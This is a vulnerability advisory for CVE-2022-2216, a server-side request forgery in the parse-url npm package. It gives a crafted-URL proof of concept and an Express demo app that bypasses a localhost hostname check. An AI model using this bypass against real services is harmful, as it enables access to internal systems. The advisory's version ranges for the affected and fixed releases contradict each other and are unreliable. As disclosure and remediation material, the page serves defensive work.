---
title: "CX-2022-5015"
date: "2022-07-21T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2022-5015/"
---

# CX-2022-5015

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

CVE-2022-2216  **Published:** Jul 21, 2022

CWE-918 CWE-918 Server-Side Request Forgery (SSRF)  9.8 Critical Severity ionicabizau/parse-url Server-Side Request Forgery SSRF

P Pocas  Reported by Checkmarx Zero

Details Overview

## Summary

Hostname is not detected because of improper handling of username and password. (Based on real cases)

## Product

ionicabizau/parse-url version 6.0.2 and prior to version 6.0.1

## Steps to reproduce

```
    ❯ node -e 'const parseUrl = require("parse-url"); console.log(parseUrl("http://google:com:@@localhost"))'
    {
      protocols: [ 'http' ],
      protocol: 'http',
      port: null,
      resource: 'google:com:@@localhost',
      user: '',
      pathname: '',
      hash: '',
      search: '',
      href: 'http://google:com:@@localhost',
      query: [Object: null prototype] {}
    }
```

When receiving the above URL, the hostname is localhost, but it is not detected.

```
    const parseUrl = require("parse-url");
    const express = require('express');
    const http = require('http');
    const app = express();

    const isLocal = () => (req, res, next) => (req.connection.remoteAddress === '::ffff:127.0.0.1'|| req.connection.remoteAddress === '::1' ? true:false)
        ? next()
        : res.json({'state':'You're not locally'});

    parsed = parseUrl("http://google:com:@@127.0.0.1:9999/ssrf_check");
    console.log(parsed);

    app.get('/', (req, res) => {
        if(parsed.resource == '127.0.0.1'){
            res.send('Not good');
        } else{
            http.get(parsed.href)
            res.send('Good');
        }
    });

    app.get('/ssrf_check', isLocal(), (req, res) =>{
        console.log('ssrf bypass');
        res.send(true);
    });

    app.listen(9999);
```

The above PoC code forbids the use of 127.0.0.1 host. However, by using the above vulnerability, it is possible to bypass this and perform an SSRF attack.

### Expected result:

```
Bypass hostname check (SSRF)
```

## Remediation

Update `ionicabizau/parse-url` to version 6.0.1 or above 6.0.2.

## Resources

1. [Commit](https://github.com/IonicaBizau/parse-url/commit/21c72ab9412228eea753e2abc48f8962707b1fe3)
2. [Pull requests](https://github.com/IonicaBizau/parse-url/pull/37)

0  Critical Severity CVSS v3.1 Score

   9.8

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Disclosed Jun 17, 2022

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)